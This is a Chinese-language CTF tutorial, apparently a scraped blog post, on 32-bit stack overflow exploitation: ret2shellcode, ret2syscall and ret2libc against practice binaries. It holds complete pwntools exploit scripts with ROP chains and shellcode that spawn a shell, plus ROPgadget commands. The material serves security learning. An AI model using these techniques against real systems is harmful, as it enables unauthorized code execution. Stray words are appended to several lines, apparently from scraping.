函數調用棧狀況見連接html
bss段可執行檢測:python
gef➤ b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef➤ r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef➤ vmmap
ROPgadgetlinux
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' ROPgadget --binary rop --string '/bin/sh' ROPgadget --binary rop --only 'int'
系統調用git
Linux系統中經過軟中斷0x80調用實現控制權轉移給內核,內容執行完成後返回結果。全部系統調用在linux內核的源文件目錄"arch/x86/kernel"中的各類文件中定義,具體建本文最後一部分的列表。github
ret2text其實就是調用程序中text中已經存在的shellweb
ret2shellcode,即控制程序執行 shellcode 代碼。shellcode 指的是用於完成某個功能的彙編代碼,常見的功能主要是獲取目標系統的 shell。通常來講,shellcode 須要咱們本身填充。這實際上是另一種典型的利用方法,即此時咱們須要本身去填充一些可執行的代碼。shell
PAYLOAD形式:padding1 + address of shellcode + padding2 + shellcode數組
實例:函數
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
shellcodeui
解析:先將shellcode寫進v4,再溢出v4到返回地址,而後將返回地址覆蓋成buf2
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive()
ret2syscall,即控制程序執行系統調用,獲取 shell。
因爲咱們不能直接利用程序中的某一段代碼或者本身填寫代碼來得到 shell,因此咱們利用程序中的 gadgets 來得到 shell,而對應的 shell 獲取則是利用系統調用。簡單地說,只要咱們把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那麼咱們在執行 int 0x80 就可執行對應的系統調用。
32位:拿execve()來舉例
系統調用號,即 eax 應該爲 0xb
第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也能夠。
第二個參數,即 ecx 應該爲 0
第三個參數,即 edx 應該爲 0
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }
找到相應寄存器地址,其中0xb爲execve系統調用地址
#!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) sh.sendline(payload) sh.interactive()
ret2libc 即控制函數的執行 libc 中的函數,一般是返回至某個函數的 plt 處或者函數的具體位置 (即函數對應的 got 表項的內容)。通常狀況下,咱們會選擇執行 system("/bin/sh"),故而此時咱們須要知道 system 函數的地址。
payload: padding1 + address of system() + padding2 + address of 「/bin/sh」
padding1 處的數據能夠隨意填充(注意不要包含 「\x00」 ,不然向程序傳入溢出數據時會形成截斷),長度應該恰好覆蓋函數的基地址。
address of system() 是 system() 在內存中的地址,用來覆蓋返回地址。
padding2 處的數據長度爲4(32位機),對應調用 system() 時的返回地址。由於咱們在這裏只須要打開 shell 就能夠,並不關心從 shell 退出以後的行爲,因此 padding2 的內容能夠隨意填充。
address of 「/bin/sh」 是字符串 「/bin/sh」 在內存中的地址,做爲傳給 system() 的參數。
實例:
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets((char *)&v4); return 0; }
exp:
from pwn import * sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr]) sh.sendline(payload) sh.interactive()
2).ret2libc2
開啓了堆棧不可執行保護
第一部分:
‘a' * 112 + gets_plt + ret_addr + buf_addr
這裏須要思考兩點,第一點就是 buf 地址,咱們的 「/bin/sh」 應該放在哪裏,一般咱們會選擇 .bss (存儲未初始化全局變量) 段,IDA 查看 .bss 段發現程序給出了 buf2[100]數組,正好就可使用這塊區域。
如今考慮返回地址,由於在 gets() 函數完成後須要調用 system() 函數須要保持堆棧平衡,因此在調用完 gets() 函數後提高堆棧,這就須要 add esp, 4 這樣的指令可是程序中並無這樣的指令。更換思路,經過使用 pop xxx 指令也能夠完成一樣的功能,在程序中找到了 pop ebx,ret 指令。
第二部分:
這部分就與上一題同樣,
system_plt + ret_addr + buf_addr
還有另一種 payload 更簡潔狀況:
在 gets() 函數調用完後,在返回地址處覆蓋上 system() 的地址將 gets() 函數的參數 buf 地址當成返回地址,再在後面加上 system() 函數的參數 buf。
’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
from pwn import * #context.log_level = 'debug' sh = process('./ret2libc2') elf = ELF('ret2libc2') def pwn(sh, payload): sh.recvuntil('?') sh.sendline(payload) sh.sendline('/bin/sh')#這裏將 /bin/sh 傳入 buf 中 sh.interactive() buf = elf.symbols['buf2'] gets_plt = elf.plt['gets'] system_plt = elf.plt['system'] pop_ebx_ret = 0x0804843d ret_addr = 0xdeadbeef #payload = 'a' * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf) payload = 'a' * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf) pwn(sh, payload)